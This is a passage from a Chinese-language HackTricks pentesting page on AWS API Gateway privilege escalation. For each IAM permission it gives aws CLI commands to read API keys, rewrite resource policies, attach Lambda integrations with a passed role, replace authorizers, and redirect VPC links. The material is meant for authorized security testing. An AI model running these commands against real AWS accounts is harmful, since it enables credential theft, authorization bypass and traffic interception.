AWS - Apigateway Privesc

支持HackTricks

Apigateway

有关更多信息,请查看:

AWS - API Gateway Enum

apigateway:POST

拥有此权限,您可以生成已配置的API(按区域)的API密钥。

aws --region <region> apigateway create-api-key

潜在影响: 使用这种技术无法提升权限,但可能会访问到敏感信息。

apigateway:GET

通过此权限,您可以获取配置的 API(按区域)生成的 API 密钥。

aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

潜在影响: 使用这种技术无法提升权限,但可能会访问到敏感信息。

apigateway:UpdateRestApiPolicy, apigateway:PATCH

拥有这些权限后,可以修改 API 的资源策略,使自己能够调用它并滥用 API 网关可能具有的访问权限(比如调用一个存在漏洞的 Lambda 函数)。

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

潜在影响: 通常情况下,您可能无法直接使用此技术进行权限提升,但可能会访问到敏感信息。

apigateway:PutIntegrationapigateway:CreateDeploymentiam:PassRole

需要测试

拥有apigateway:PutIntegrationapigateway:CreateDeploymentiam:PassRole权限的攻击者可以向现有API Gateway REST API添加一个具有附加IAM角色的Lambda函数的新集成。攻击者随后可以触发Lambda函数以执行任意代码,并可能访问与IAM角色关联的资源

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

潜在影响:访问与Lambda函数的IAM角色关联的资源。

apigateway:UpdateAuthorizerapigateway:CreateDeployment

需要测试

拥有apigateway:UpdateAuthorizerapigateway:CreateDeployment权限的攻击者可以修改现有的API Gateway授权者,以绕过安全检查或在进行API请求时执行任意代码。

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

潜在影响:绕过安全检查,未经授权访问 API 资源。

需要测试

拥有 apigateway:UpdateVpcLink 权限的攻击者可以修改现有的 VPC 链接,将其指向不同的网络负载均衡器,从而将私有 API 流量重定向到未经授权或恶意资源

bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

潜在影响:未经授权访问私有 API 资源,拦截或干扰 API 流量。

支持 HackTricks

Last updated